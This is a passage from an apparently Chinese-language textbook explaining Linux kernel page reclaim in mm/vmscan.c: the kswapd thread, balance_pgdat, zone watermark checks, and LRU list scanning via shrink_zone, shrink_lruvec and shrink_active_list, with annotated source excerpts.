24        wake_all_kswapds(order, ac);
25  ...
26}

kswapd内核线程的执行函数如下:

[mm/vmscan.c]

0 static int kswapd(void *p)
1 {
2    unsigned long order, new_order;
3    unsigned balanced_order;
4    int classzone_idx, new_classzone_idx;
5    int balanced_classzone_idx;
6    pg_data_t *pgdat = (pg_data_t*)p;
7    struct task_struct *tsk = current;
8    ...
9    
10   order = new_order = 0;
11   balanced_order = 0;
12   classzone_idx = new_classzone_idx = pgdat->nr_zones - 1;
13   balanced_classzone_idx = classzone_idx;
14   for ( ; ; ) {
15        bool ret;
16        if (balanced_classzone_idx >= new_classzone_idx &&
17                      balanced_order == new_order) {
18             new_order = pgdat->kswapd_max_order;
19             new_classzone_idx = pgdat->classzone_idx;
20             pgdat->kswapd_max_order =  0;
21             pgdat->classzone_idx = pgdat->nr_zones - 1;
22        }
23
24        if (order < new_order || classzone_idx > new_classzone_idx) {
25             order = new_order;
26             classzone_idx = new_classzone_idx;
27        } else {
28             kswapd_try_to_sleep(pgdat, balanced_order,
29                        balanced_classzone_idx);
30             order = pgdat->kswapd_max_order;
31             classzone_idx = pgdat->classzone_idx;
32             new_order = order;
33             new_classzone_idx = classzone_idx;
34             pgdat->kswapd_max_order = 0;
35             pgdat->classzone_idx = pgdat->nr_zones - 1;
36        }
37
38        ret = try_to_freeze();
39        if (kthread_should_stop())
40              break;
41        if (!ret) {
42              balanced_classzone_idx = classzone_idx;
43              balanced_order = balance_pgdat(pgdat, order,
44                          &balanced_classzone_idx);
45        }
46   }
47
48   tsk->flags &= ~(PF_MEMALLOC | PF_SWAPWRITE | PF_KSWAPD);
49   ...
50   return 0;
51}

函数的核心部分集中在第14~46行代码的for循环中。这里有很多的局部变量来控制程序的走向,其中最重要的变量是在前文介绍过的kswapd_max_order和classzone_idx。系统启动时会在kswapd_try_to_sleep()函数中睡眠并且让出CPU控制权。当系统内存紧张时,例如alloc_pages()在低水位(ALLOC_WMARK_LOW)中无法分配出内存,这时分配内存函数会调用wakeup_kswapd()来唤醒kswapd内核线程。kswapd内核线程初始化时会在kswapd_try_to_sleep()函数中睡眠,唤醒点在kswapd_try_to_sleep()函数中。kswapd内核线程被唤醒之后,调用balance_pgdat()来回收页面。调用逻辑如下:

alloc_pages:
__alloc_pages_nodemask()
  ->If fail on ALLOC_WMARK_LOW
      ->__alloc_pages_slowpath()
         ->wakeup_kswapd()
             -> wake_up(kswapd_wait)                 
                                       kswapd内核线程被唤醒
                                             ->balance_pgdat()

balance_pgdat函数是回收页面的主函数。这个函数比较长,首先看一个框架,主体函数是一个很长的while循环,简化后的代码如下:

[balance_pgdat()函数总体框架]

0 static unsigned long balance_pgdat(pg_data_t *pgdat, int order,
1                               int *classzone_idx)
2 {
3    ...
4    struct scan_control sc = {
5        .gfp_mask = GFP_KERNEL,
6        .order = order,
7        .priority = DEF_PRIORITY,
8        .may_writepage = !laptop_mode,
9        .may_unmap = 1,
10       .may_swap = 1,
11   };
12
13   ...
14   do {
         //从高端zone往低端zone方向查找第一个处于不平衡状态的end_zone
15       for (i = pgdat->nr_zones - 1; i >= 0; i--) {
16          struct zone *zone = pgdat->node_zones + i;
17          if (!zone_balanced(zone, order, 0, 0)) {
18                end_zone = i;
19                break;
20          } 
21      }
22
        //从最低端zone开始页面回收,一直到end_zone
23      for (i = 0; i <= end_zone; i++) {
24            struct zone *zone = pgdat->node_zones + i;
25               
26            kswapd_shrink_zone();
27      }

        //不断加大扫描粒度,并且检查从最低端zone到classzone_idx的zone是否处于平衡状态
28  } while (sc.priority >= 1 &&
29       !pgdat_balanced(pgdat, order, *classzone_idx));
30  
31  ...
32  return order;
33}

struct scan_control数据结构用于控制页面回收的参数,例如要回收页面的个数nr_to_reclaim、分配掩码gfp_mask、分配的阶数order(2^order个页面)、扫描LRU链表的优先级priority等。priority成员表示扫描的优先级,用于计算每次扫描页面的数量,计算方法是total_size >> priority,初始值为12,依次递减。priority数值越低,扫描的页面数量越大,相当于逐步加大扫描粒度。struct scan_control数据结构定义在mm/vmscan.c文件中。

[mm/vmscan.c]

struct scan_control {
     unsigned long nr_to_reclaim;
     gfp_t gfp_mask;
     int order;
     int priority;
     unsigned int may_writepage:1;
     unsigned int may_unmap:1;
     unsigned int may_swap:1;
     unsigned int may_thrash:1;
     unsigned int hibernation_mode:1;
     unsigned int compaction_ready:1;
     unsigned long nr_scanned;
     unsigned long nr_reclaimed;
};

第17~29行代码是一个while大循环,这里是页面回收机制的核心框架,可以分为如下三部分来理解。

pgdat_balanced()需要注意参数classzone_idx,它表示在页面分配路径上计算出来第一个最合适内存分配的zone的编号,通过wake_all_kswapds()传递下来。

[kswapd()->balance_pgdat()->pgdat_balanced()]

0 static bool pgdat_balanced(pg_data_t *pgdat, int order, int classzone_idx)
1 {
2    unsigned long managed_pages = 0;
3    unsigned long balanced_pages = 0;
4    int i;
5 
6    /* Check the watermark levels */
7    for (i = 0; i <= classzone_idx; i++) {
8         struct zone *zone = pgdat->node_zones + i;
9 
10        if (!populated_zone(zone))
11              continue;
12
13        managed_pages += zone->managed_pages;
14          
15        if (zone_balanced(zone, order, 0, i))
16             balanced_pages += zone->managed_pages;
17        else if (!order)
18             return false;
19   }
20
21   if (order)
22         return balanced_pages >= (managed_pages >> 2);
23   else
24         return true;
25}

注意参数classzone_idx是由页面分配路径上传递过来的。pgdat_balanced()判断一个内存节点上的物理页面是否处于平衡状态,返回true,则表示该内存节点处于平衡状态。注意第7行代码,遍历从最低端的zone到classzone_idx的页面是否处于平衡状态。

对于order为0的情况,所有的zone都是平衡的。对于order大于0的内存分配,需要统计从最低端zone到classzone_idx zone中所有处于平衡状态zone的页面数量(balanced_pages),当大于这个节点的所有管理的页面managed_pages的25%,那么就认为这个内存节点已处于平衡状态。如果这个zone的空闲页面高于WMARK_HIGH水位,那么这个zone所有管理的页面可以看作balanced_pages。zone_balanced()函数用于判断zone的空闲页面是否处于WMARK_HIGH水位之上,返回true,则表示zone处于WMARK_HIGH之上。

[pgdat_balanced()->zone_balanced()]

static bool zone_balanced(struct zone *zone, int order,
                unsigned long balance_gap, int classzone_idx)
{
     if (!zone_watermark_ok_safe(zone, order, high_wmark_pages(zone) +
                      balance_gap, classzone_idx, 0))
           return false;

     return true;
}

bool zone_watermark_ok_safe(struct zone *z, unsigned int order,
            unsigned long mark, int classzone_idx, int alloc_flags)
{
     long free_pages = zone_page_state(z, NR_FREE_PAGES);

     return __zone_watermark_ok(z, order, mark, classzone_idx, alloc_flags,
                                 free_pages);
}

页面分配路径page allocator和页面回收路径kswapd之间有很多交互的地方,如图2.28所示,总结如下。

图2.28 页面分配路径和页面回收路径

上述内容是从整体角度来观察balance_pgdat()函数的实现框架,下面继续深入探讨该函数。

[kswapd()->balance_pgdat()]

0  static unsigned long balance_pgdat(pg_data_t *pgdat, int order,
1                                     int *classzone_idx)
2  {
3    int i;
4    int end_zone = 0;     /* Inclusive.  0 = ZONE_DMA */
5    unsigned long nr_soft_reclaimed;
6    unsigned long nr_soft_scanned;
7    struct scan_control sc = {
8         .gfp_mask = GFP_KERNEL,
9         .order = order,
10        .priority = DEF_PRIORITY,
11        .may_writepage = !laptop_mode,
12        .may_unmap = 1,
13        .may_swap = 1,
14   };
15   count_vm_event(PAGEOUTRUN);
16 
17   do {
18       unsigned long nr_attempted = 0;
19       bool raise_priority = true;
20       bool pgdat_needs_compaction = (order > 0);
21 
22       sc.nr_reclaimed = 0;
23 
24       /*
25        * Scan in the highmem->dma direction for the highest
26        * zone which needs scanning
27        */
28       for (i = pgdat->nr_zones - 1; i >= 0; i--) {
29            struct zone *zone = pgdat->node_zones + i;
30 
31            if (!populated_zone(zone))
32                  continue;
33 
34            if (sc.priority != DEF_PRIORITY &&
35                  !zone_reclaimable(zone))
36                  continue;
37 
38            /*
39             * Do some background aging of the anon list, to give
40             * pages a chance to be referenced before reclaiming.
41             */
42            age_active_anon(zone, &sc);
43 
44            /*
45             * If the number of buffer_heads in the machine
46             * exceeds the maximum allowed level and this node
47             * has a highmem zone, force kswapd to reclaim from
48             * it to relieve lowmem pressure.
49             */
50            if (buffer_heads_over_limit && is_highmem_idx(i)) {
51                 end_zone = i;
52                 break;
53            }
54 
55            if (!zone_balanced(zone, order, 0, 0)) {
56                  end_zone = i;
57                  break;
58            } else {
59                 /*
60                  * If balanced, clear the dirty and congested
61                  * flags
62                  */
63                 clear_bit(ZONE_CONGESTED, &zone->flags);
64                 clear_bit(ZONE_DIRTY, &zone->flags);
65            }
66      }
67 
68      if (i < 0)
69            goto out; 

balance_pgdat()函数中第28~66行代码是一个for循环,从ZONE_HIGHMEM -> ZONE_NORMAL的方向对zone进行扫描,直到找出第一个不平衡的zone,即水位处于WMARK_HIGH之下的zone为止。同样使用zone_balanced()函数来计算zone是否处于WMARK HIGH水位之上,找到之后保存到end_zone变量中。

[kswapd()->balance_pgdat()]
…
71           for (i = 0; i <= end_zone; i++) {
72                struct zone *zone = pgdat->node_zones + i;
73 
74                if (!populated_zone(zone))
75                      continue;
76 
77                /*
78                 * If any zone is currently balanced then kswapd will
79                 * not call compaction as it is expected that the
80                 * necessary pages are already available.
81                 */
82                if (pgdat_needs_compaction &&
83                         zone_watermark_ok(zone, order,
84                             low_wmark_pages(zone),
85                             *classzone_idx, 0))
86                     pgdat_needs_compaction = false;
87          }
88 
89          /*
90           * If we're getting trouble reclaiming, start doing writepage
91           * even in laptop mode.
92           */
93          if (sc.priority < DEF_PRIORITY - 2)
94               sc.may_writepage = 1; 

第71~87行代码的for循环,是沿着normal zone到刚才找到的end_zone的方向进行扫描。第82~87行代码判断是否需要内存规整(memory compaction),当order大于0且当前zone处于WMARK_LOW水位之上,则不需要内存规整。

96           /*
97            * Now scan the zone in the dma->highmem direction, stopping
98            * at the last zone which needs scanning.
99            *
100           * We do this because the page allocator works in the opposite
101           * direction.  This prevents the page allocator from allocating
102           * pages behind kswapd's direction of progress, which would
103           * cause too much scanning of the lower zones.
104           */
105          for (i = 0; i <= end_zone; i++) {
106               struct zone *zone = pgdat->node_zones + i;
107
108               if (!populated_zone(zone))
109                    continue;
110
111               if (sc.priority != DEF_PRIORITY &&
112                    !zone_reclaimable(zone))
113                    continue;
114
115               sc.nr_scanned = 0;
116
117               nr_soft_scanned = 0;
118               /*
119                * Call soft limit reclaim before calling shrink_zone.
120                */
121               nr_soft_reclaimed = mem_cgroup_soft_limit_reclaim(zone,
122                                 order, sc.gfp_mask,
123                                 &nr_soft_scanned);
124               sc.nr_reclaimed += nr_soft_reclaimed;
125
126               /*
127                * There should be no need to raise the scanning
128                * priority if enough pages are already being scanned
129                * that that high watermark would be met at 100%
130                * efficiency.
131                */
132               if (kswapd_shrink_zone(zone, end_zone,
133                             &sc, &nr_attempted))
134                    raise_priority = false;
135          }

第108~135行代码是第3个for循环,方向依然是从ZONE_NORMAL到end_zone,为什么要从ZONE_NORMAL到end_zone的方向回收页面呢?因为伙伴分配系统是从ZONE_HIGHMEM 到ZONE_NORMAL的方向,恰好和回收页面的方向相反,这样有利于减少对锁的争用[16],提高效率。第132行代码的kswapd_shrink_zone()是真正扫描和页面回收函数,扫描的参数和结果存放在struct scan_control sc中。kswapd_shrink_zone()函数返回true,表明已经回收了所需要的页面,且不需要再提高扫描优先级。

137          /*
138           * If the low watermark is met there is no need for processes
139           * to be throttled on pfmemalloc_wait as they should not be
140           * able to safely make forward progress. Wake them
141           */
142          if (waitqueue_active(&pgdat->pfmemalloc_wait) &&
143                    pfmemalloc_watermark_ok(pgdat))
144               wake_up_all(&pgdat->pfmemalloc_wait);
145
146          /*
147           * Fragmentation may mean that the system cannot be rebalanced
148           * for high-order allocations in all zones. If twice the
149           * allocation size has been reclaimed and the zones are still
150           * not balanced then recheck the watermarks at order-0 to
151           * prevent kswapd reclaiming excessively. Assume that a
152           * process requested a high-order can direct reclaim/compact.
153           */
154          if (order && sc.nr_reclaimed >= 2UL << order)
155                order = sc.order = 0;
156
157          /* Check if kswapd should be suspending */
158          if (try_to_freeze() || kthread_should_stop())
159               break;
160
161          /*
162           * Compact if necessary and kswapd is reclaiming at least the
163           * high watermark number of pages as requsted
164           */
165          if (pgdat_needs_compaction && sc.nr_reclaimed > nr_attempted)
166               compact_pgdat(pgdat, order);
167
168          /*
169           * Raise priority if scanning rate is too low or there was no
170           * progress in reclaiming pages
171           */
172          if (raise_priority || !sc.nr_reclaimed)
173               sc.priority--;
174     } while (sc.priority >= 1 &&
175           !pgdat_balanced(pgdat, order, *classzone_idx));

前文讲述了从ZONE_NORMAL到end_zone扫描和回收一遍页面后判断是否已经满足页面回收的要求,是否需要继续扫描pgdat_balanced()以及加大扫描粒度(sc.priority)等。

第154行代码,sc.nr_reclaimed表示已经成功回收页面的数量。如果已经回收的页面大于等于2^order,为了避免页面碎片,这里设置order为0,以防止kswapd内核线程过于激进地回收页面。因为假设没有第154行代码的判断,并且回收了2^order个页面后pgdat_balanced()函数还是发现内存节点没有达到平衡状态,那么它会循环下去,直到sc.priority ≤ 0为止[17]。注意要退出扫描,还需要判断当前内存节点的页面是否处于平衡状态pgdat_balanced()。

第158行代码,判断kswapd内核线程是否要停止或者睡眠。

第165行代码,判断是否需要对这个内存节点进行内存规整,优化内存碎片。

第173行代码,判断是否需要提高扫描的优先级和扫描粒度。变量raise_priority默认为true,当kswapd_shrink_zone()函数返回true,即成功回收了页面时,才会把raise_priority设置为false。如果扫描一轮后没有一个页面被回收释放,那也需要提高优先级来增加扫描页面的强度。

下面来看kswapd_shrink_zone()函数的实现。

[kswapd()->balance_pgdat()->kswapd_shrink_zone()]

0 static bool kswapd_shrink_zone(struct zone *zone,
1                    int classzone_idx,
2                    struct scan_control *sc,
3                    unsigned long *nr_attempted)
4 {
5    int testorder = sc->order;
6    unsigned long balance_gap;
7    bool lowmem_pressure;
8 
9    /* Reclaim above the high watermark. */
10   sc->nr_to_reclaim = max(SWAP_CLUSTER_MAX, high_wmark_pages(zone));
11     
12   /*
13    * We put equal pressure on every zone, unless one zone has way too
14    * many pages free already. The "too many pages" is defined as the
15    * high wmark plus a "gap" where the gap is either the low
16    * watermark or 1% of the zone, whichever is smaller.
17    */
18   balance_gap = min(low_wmark_pages(zone), DIV_ROUND_UP(
19             zone->managed_pages, KSWAPD_ZONE_BALANCE_GAP_RATIO));
20
21   /*
22    * If there is no low memory pressure or the zone is balanced then no
23    * reclaim is necessary
24    */
25   lowmem_pressure = (buffer_heads_over_limit && is_highmem(zone));
26   if (!lowmem_pressure && zone_balanced(zone, testorder,
27                         balance_gap, classzone_idx))
28         return true;
29
30   shrink_zone(zone, sc, zone_idx(zone) == classzone_idx);
31
32   /* Account for the number of pages attempted to reclaim */
33    *nr_attempted += sc->nr_to_reclaim;
34
35   clear_bit(ZONE_WRITEBACK, &zone->flags);
36
37   /*
38    * If a zone reaches its high watermark, consider it to be no longer
39    * congested. It's possible there are dirty pages backed by congested
40    * BDIs but as pressure is relieved, speculatively avoid congestion
41    * waits.
42    */
43   if (zone_reclaimable(zone) &&
44        zone_balanced(zone, testorder, 0, classzone_idx)) {
45        clear_bit(ZONE_CONGESTED, &zone->flags);
46        clear_bit(ZONE_DIRTY, &zone->flags);
47   }
48
49   return sc->nr_scanned >= sc->nr_to_reclaim;
50}

第10行代码,计算一轮扫描最多回收的页面sc->nr_to_reclaim个数。SWAP_CLUSTER_MAX宏定义为32个页面,high_wmark_pages()宏表示预期需要最多回收多少个页面才能达到WMARK_HIGH水位,这里比较两者取其最大值。这里会使用到zone->watermark [WMARK_HIGH]变量,WMARK_HIGH水位值的计算是在__setup_per_zone_wmarks()函数中,通过min_free_kbytes和zone管理的页面数等参数计算得出。

第18行代码,balance_gap相当于在判断zone是否处于平衡状态时增加了些难度,原来只要判断空闲页面是否超过了高水位WMARK_HIGH即可,现在需要判断是否超过(WMARK_HIGH + balance_gap)。balance_gap值比较小,一般取低水位值或zone管理页面的1%。

在调用shrink_zone()函数前,需要判断当前zone的页面是否处于平衡状态,即当前水位是否已经高于WMARK_HIGH + balance_gap。如果已经处于平衡状态,那么不需要执行页面回收,直接返回即可。这里还考虑了buffer_head的使用情况,buffer_heads_over_limit全局变量定义在fs/buffer.c文件中,我们暂时先不考虑它。

第30行代码,shrink_zone()函数去尝试回收zone的页面,它是kswapd内核线程的核心函数,后续会继续介绍这个函数。

第43~47行代码,shrink_zone完成之后继续判断当前zone是否处于平衡状态,如果处于平衡状态,则可以不考虑block层的堵塞问题(congest),即使还有一些页面处于回写状态也是可以控制的,清除ZONE_CONGESTED比特位。

最后,如果扫描的页面数量(sc->nr_scanned)大于等于扫描目标(sc->nr_to_reclaim)的话表示扫描了足够多的页面,则该函数返回true。扫描了足够多的页面,也有可能一无所获。kswapd_shrink_zone()函数除了上面说的情况会返回true以外,当zone处于平衡状态时也会返回true,返回true只会影响balance_pgdat()函数的扫描粒度。

shrink_zone()函数用于扫描zone中所有可回收的页面,参数zone表示即将要扫描的zone,sc表示扫描的控制参数,is_classzone表示当前zone是否为balance_pgdat()刚开始计算的第一个处于非平衡状态的zone。shrink_zone()函数中有大量的memcg相关函数,为了方便理解代码,我们假设系统没有打开CONFIG_MEMCG配置,下面是简化后的代码:

[kswapd()->balance_pgdat()->kswapd_shrink_zone()->shrink_zone()]

0 static bool shrink_zone(struct zone *zone, struct scan_control *sc,
1            bool is_classzone)
2 {
3    struct reclaim_state *reclaim_state = current->reclaim_state;
4    unsigned long nr_reclaimed, nr_scanned;
5    bool reclaimable = false;
6 
7    do {
8        struct mem_cgroup *root = sc->target_mem_cgroup;
9        struct mem_cgroup_reclaim_cookie reclaim = {
10            .zone = zone,
11            .priority = sc->priority,
12       };
13       unsigned long zone_lru_pages = 0;
14       struct mem_cgroup *memcg;
15
16       nr_reclaimed = sc->nr_reclaimed;
17       nr_scanned = sc->nr_scanned;
18
19       memcg = NULL;
20       do {
21           unsigned long lru_pages;
22           unsigned long scanned;
23           struct lruvec *lruvec;
24           int swappiness;
25               
26           lruvec = mem_cgroup_zone_lruvec(zone, memcg);
27           swappiness = mem_cgroup_swappiness(memcg);
28           scanned = sc->nr_scanned;
29
30           shrink_lruvec(lruvec, swappiness, sc, &lru_pages);
31           zone_lru_pages += lru_pages;
32       } while (0);
33
34       /*
35        * Shrink the slab caches in the same proportion that
36        * the eligible LRU pages were scanned.
37        */
38       if (global_reclaim(sc) && is_classzone)
39            shrink_slab(sc->gfp_mask, zone_to_nid(zone), NULL,
40                   sc->nr_scanned - nr_scanned,
41                   zone_lru_pages);
42
43       if (reclaim_state) {
44             sc->nr_reclaimed += reclaim_state->reclaimed_slab;
45             reclaim_state->reclaimed_slab = 0;
46       }
47
48       vmpressure(sc->gfp_mask, sc->target_mem_cgroup,
49               sc->nr_scanned - nr_scanned,
50               sc->nr_reclaimed - nr_reclaimed);
51
52       if (sc->nr_reclaimed - nr_reclaimed)
53            reclaimable = true;
54
55   } while (should_continue_reclaim(zone, sc->nr_reclaimed - nr_reclaimed,  sc->nr_scanned - nr_scanned, sc));
57
58   return reclaimable;
59}

shrink_zone()函数中又一次出现while循环嵌套着while循环的情况,第7~55行代码是大循环,判断条件为should_continue_reclaim()函数,通过这一轮的回收页面的数量和扫描页面的数量来判断是否需要继续扫描。

[shrink_zone()->should_continue_reclaim()]

0 static inline bool should_continue_reclaim(struct zone *zone,
1                        unsigned long nr_reclaimed,
2                        unsigned long nr_scanned,
3                        struct scan_control *sc)
4 {     
5    /*
6     * If we have not reclaimed enough pages for compaction and the
7     * inactive lists are large enough, continue reclaiming
8     */
9    pages_for_compaction = (2UL << sc->order);
10   inactive_lru_pages = zone_page_state(zone, NR_INACTIVE_FILE);
11   if (get_nr_swap_pages() > 0)
12        inactive_lru_pages += zone_page_state(zone, NR_INACTIVE_ANON);
13   if (sc->nr_reclaimed < pages_for_compaction &&
14            inactive_lru_pages > pages_for_compaction)
15        return true;
16
17   /* If compaction would go ahead or the allocation would succeed, stop */
18   switch (compaction_suitable(zone, sc->order, 0, 0)) {
19   case COMPACT_PARTIAL:
20   case COMPACT_CONTINUE:
21        return false;
22   default:
23       return true;
24   }
25}

should_continue_reclaim()函数的判断逻辑是如果已经回收的页面数量sc->nr_reclaimed小于(2 << sc->order)个页面,且不活跃页面总数大于(2 << sc->order),那么需要继续回收页面。

compaction_suitable()函数也会判断当前zone的水位,如果水位超过WMARK_LOW,那么会停止扫描页面。compaction_suitable()函数会在“内存规整”一节中详细介绍。

回到shrink_zone函数中,第20~32行代码只循环一次。第26行代码获取zone中LRU链表的数据结构,zone的数据结构中有成员lruvec。struct lruvec数据结构包含了LRU链表,且zone数据结构中有一个成员指向struct lruvec数据结构。

第27行代码,获取系统中的vm_swappiness参数,用于表示swap的活跃程度,这个值从0到100,0表示匿名页面,不会往swap分区写入;100表示积极地向swap分区中写入匿名页面,通常默认值是60。

第30行代码,shrink_lruvec()是扫描LRU链表的核心函数。

第39行代码,shrink_slab()函数是调用内存管理系统中的shrinker接口,很多子系统会注册shrinker接口来回收内存,例如Android系统中的Lower Memory Killer。

shrink_lruvec()函数比较长,简化后的代码片段如下:

[kswapd()->balance_pgdat()->kswapd_shrink_zone()->shrink_zone()->shrink_lruvec()]

0 static void shrink_lruvec(struct lruvec *lruvec, int swappiness,
1                struct scan_control *sc, unsigned long *lru_pages)
2 {
3    unsigned long nr[NR_LRU_LISTS];
4    unsigned long nr_to_scan;
5    enum lru_list lru;
6    unsigned long nr_reclaimed = 0;
7    unsigned long nr_to_reclaim = sc->nr_to_reclaim;
8 
9    get_scan_count(lruvec, swappiness, sc, nr, lru_pages);
10   while (nr[LRU_INACTIVE_ANON] || nr[LRU_ACTIVE_FILE] ||
11                    nr[LRU_INACTIVE_FILE]) {
12       unsigned long nr_anon, nr_file, percentage;
13       unsigned long nr_scanned;
14
15       for_each_evictable_lru(lru) {
16           if (nr[lru]) {
17                 nr_to_scan = min(nr[lru], SWAP_CLUSTER_MAX);
18                 nr[lru] -= nr_to_scan;
19
20                 nr_reclaimed += shrink_list(lru, nr_to_scan,
21                                 lruvec, sc);
22           }
23       }
24
25       if (nr_reclaimed < nr_to_reclaim)
26            continue;
27               
28       nr_file = nr[LRU_INACTIVE_FILE] + nr[LRU_ACTIVE_FILE];
29       nr_anon = nr[LRU_INACTIVE_ANON] + nr[LRU_ACTIVE_ANON];
30       if (!nr_file || !nr_anon)
31             break;
32   }
33}

第9行代码的get_scan_count()函数会根据swappiness参数和sc->priority优先级去计算4个LRU链表中应该扫描的页面页数,结果存放在nr[]数组中,扫描规则总结如下。

扫描页面计算公式如下。

1.扫描一种页面:
scan = LRU上总页面数 >> sc->priority
2.同时扫描两种页面:
scan = LRU上总页面数 >> sc->priority
ap =(swappiness * (recent_scanned[0] + 1)) / ( recent_rotated[0] +1)
fp = ((200-swappiness) * (recent_scanned[1] + 1)) / ( recent_rotated[1] +1)
scan_anon = (scan * ap) / (ap+fp+1)
scan_file = (scan * fp) / (ap+fp+1)

(1)recent_scanned:指最近扫描页面的数量,在扫描活跃链表和不活跃链表时,会统计到recent_scanned变量中。详见shrink_inactive_list()函数和shrink_active_list()函数。

(2)recent_rotated

代码中使用一个struct zone_reclaim_stat来描述这个数据统计。

struct zone_reclaim_stat[18] {
     /*
      * The pageout code in vmscan.c keeps track of how many of the
      * mem/swap backed and file backed pages are referenced.
      * The higher the rotated/scanned ratio, the more valuable
      * that cache is.
      *
      * The anon LRU stats live in [0], file LRU stats in [1]
      */
     unsigned long    recent_rotated[2];
     unsigned long    recent_scanned[2];
};

其中,匿名页面存放在数组[0]中,文件缓存存放在数组[1]中。recent_rotated/ recent_scanned的比值越大,说明这些被缓存起来的页面越有价值,它们更应该留下来。以匿名页面为例,recent_rotated值越小,说明LRU链表中匿名页面价值越小,那么更应该多扫描一些匿名页面,尽量把没有缓存价值的页面换出去。根据计算公式,匿名页面的recent_rotated值越小,ap的值越大,那么最后scan_anon需要扫描的匿名页面数量也越多,也可以理解为扫描的总量一定的情况,匿名页面占了比重更大。

第10行代码的while循环为什么会漏掉活跃的匿名页面(LRU_ACTIVE_ANON)呢?因为活跃的匿名页面不能直接被回收,根据局部原理,它有可能很快又被访问了,匿名页面需要经过时间的老化且加入不活跃匿名页面LRU链表后才能被回收。

第15行代码,依次扫描可回收的4种LRU链表,shrink_list()函数会具体处理各种LRU链表的情况。

第25行代码,如果已经回收的页面数量(nr_reclaimed)没有达到预期值(nr_to_reclaim),那么将继续扫描。第30行代码,如果已经扫描完毕,则退出循环。

下面继续来看shrink_list()函数。

[shrink_zone()->shrink_lruvec()->shrink_list()]

0 static unsigned long shrink_list(enum lru_list lru, unsigned long nr_to_scan,
1                   struct lruvec *lruvec, struct scan_control *sc)
2 {
3    if (is_active_lru(lru)) {
4          if (inactive_list_is_low(lruvec, lru))
5                shrink_active_list(nr_to_scan, lruvec, sc, lru);
6          return 0;
7    }
8 
9    return shrink_inactive_list(nr_to_scan, lruvec, sc, lru);
10}

第3~6行代码,处理活跃的LRU链表,包括匿名页面和文件映射页面,如果不活跃页面少于活跃页面,那么需要调用shrink_active_list()函数来看有哪些活跃页面可以迁移到不活跃页面链表中。inactive_list_is_low()函数区分匿名页面和文件缓存两种情况,我们暂时只关注匿名页面的情况。

[inactive_list_is_low()->inactive_anon_is_low()->inactive_anon_is_low_global()]
static int inactive_anon_is_low_global(struct zone *zone)
{
     unsigned long active, inactive;

     active = zone_page_state(zone, NR_ACTIVE_ANON);
     inactive = zone_page_state(zone, NR_INACTIVE_ANON);

     if (inactive * zone->inactive_ratio < active)
           return 1;

     return 0;
}

为什么活跃LRU链表页面的数量少于不活跃LRU时,不去扫描活跃LRU呢?

系统常常会有只使用一次的文件访问(use-once streaming IO)的情况,不活跃LRU链表增长速度变快,不活跃LRU页面数量大于活跃页面数量,这时不会去扫描活跃LRU[19]

判断文件映射链表相对简单,直接比较活跃和不活跃链表页面的数量即可。对于匿名页面,zone数据结构中有一个inactive_ratio成员,inactive_ratio的计算在mm/page_alloc.c文件中的calculate_zone_inactive_ratio()函数里,对于zone的内存空间小于1GB的情况,通常inactive_ratio为1,1GB~10GB的inactive-ratio为3。inactive_ratio为3,表示在LRU中活跃匿名页面和不活跃匿名页面的比值为3:1,也就是说在理想状态下有25%的页面保存在不活跃链表中。匿名页面的不活跃链表有些奇怪,一方面我们需要它越短越好,这样页面回收机制可以少做点事情,但是另一方面,如果匿名页面的不活跃链表比较长,在这个链表的页面会有比较长的时间有机会被再次访问到。

第9行代码,shrink_inactive_list()函数扫描不活跃页面链表并且回收页面,后文中会详细介绍该函数。

首先来看当不活跃LRU的页面数量少于活跃LRU的页面数量的情况,shrink_active_list()函数扫描活跃LRU链表,看是否有页面可以迁移到不活跃LRU链表中。

[kswapd()->balance_pgdat()->kswapd_shrink_zone()->shrink_zone()->shrink_lruvec()->shrink_active_list()]

0 static void shrink_active_list(unsigned long nr_to_scan,
1                     struct lruvec *lruvec,
2                     struct scan_control *sc,
3                     enum lru_list lru)
4 {
5    unsigned long nr_taken;
6    unsigned long nr_scanned;
7    unsigned long vm_flags;
8    LIST_HEAD(l_hold);     /* The pages which were snipped off */
9    LIST_HEAD(l_active);
10   LIST_HEAD(l_inactive);
11   struct page *page;
12   struct zone_reclaim_stat *reclaim_stat = &lruvec->reclaim_stat;
13   unsigned long nr_rotated = 0;
14   isolate_mode_t isolate_mode = 0;
15   int file = is_file_lru(lru);
16   struct zone *zone = lruvec_zone(lruvec);
17
18   lru_add_drain();
19
20   if (!sc->may_unmap)
21         isolate_mode |= ISOLATE_UNMAPPED;
22   if (!sc->may_writepage)
23         isolate_mode |= ISOLATE_CLEAN;
24
25   spin_lock_irq(&zone->lru_lock);
26
27   nr_taken = isolate_lru_pages(nr_to_scan, lruvec, &l_hold,
28                    &nr_scanned, sc, isolate_mode, lru);
29   if (global_reclaim(sc))
30         __mod_zone_page_state(zone, NR_PAGES_SCANNED, nr_scanned);
31
32   reclaim_stat->recent_scanned[file] += nr_taken;
33
34   __count_zone_vm_events(PGREFILL, zone, nr_scanned);
35   __mod_zone_page_state(zone, NR_LRU_BASE + lru, -nr_taken);
36   __mod_zone_page_state(zone, NR_ISOLATED_ANON + file, nr_taken);
37   spin_unlock_irq(&zone->lru_lock);
38
39   while (!list_empty(&l_hold)) {
40       cond_resched();
41       page = lru_to_page(&l_hold);
42       list_del(&page->lru);
43
44       if (unlikely(!page_evictable(page))) {
45            putback_lru_page(page);
46            continue;
47       }
48
49       if (unlikely(buffer_heads_over_limit)) {
50            if (page_has_private(page) && trylock_page(page)) {
51                if (page_has_private(page))
52                     try_to_release_page(page, 0);
53                  unlock_page(page);
54            }
55       }
56
57       if (page_referenced(page, 0, sc->target_mem_cgroup,
58                     &vm_flags)) {
59            nr_rotated += hpage_nr_pages(page);
60            /*
61             * Identify referenced, file-backed active pages and
62             * give them one more trip around the active list. So
63             * that executable code get better chances to stay in
64             * memory under moderate memory pressure.  Anon pages
65             * are not likely to be evicted by use-once streaming
66             * IO, plus JVM can create lots of anon VM_EXEC pages,
67             * so we ignore them here.
68             */
69            if ((vm_flags & VM_EXEC) && page_is_file_cache(page)) {
70                  list_add(&page->lru, &l_active);
71                  continue;
72            }
73       }
74
75       ClearPageActive(page);     /* we are de-activating */
76       list_add(&page->lru, &l_inactive);
77   }
78
79   /*
80    * Move pages back to the lru list.
81    */
82   spin_lock_irq(&zone->lru_lock);
83   /*
84    * Count referenced pages from currently used mappings as rotated,
85    * even though only some of them are actually re-activated.  This
86    * helps balance scan pressure between file and anonymous pages in
87    * get_scan_count.
88    */
89   reclaim_stat->recent_rotated[file] += nr_rotated;
90
91   move_active_pages_to_lru(lruvec, &l_active, &l_hold, lru);
92   move_active_pages_to_lru(lruvec, &l_inactive, &l_hold, lru - LRU_ACTIVE);
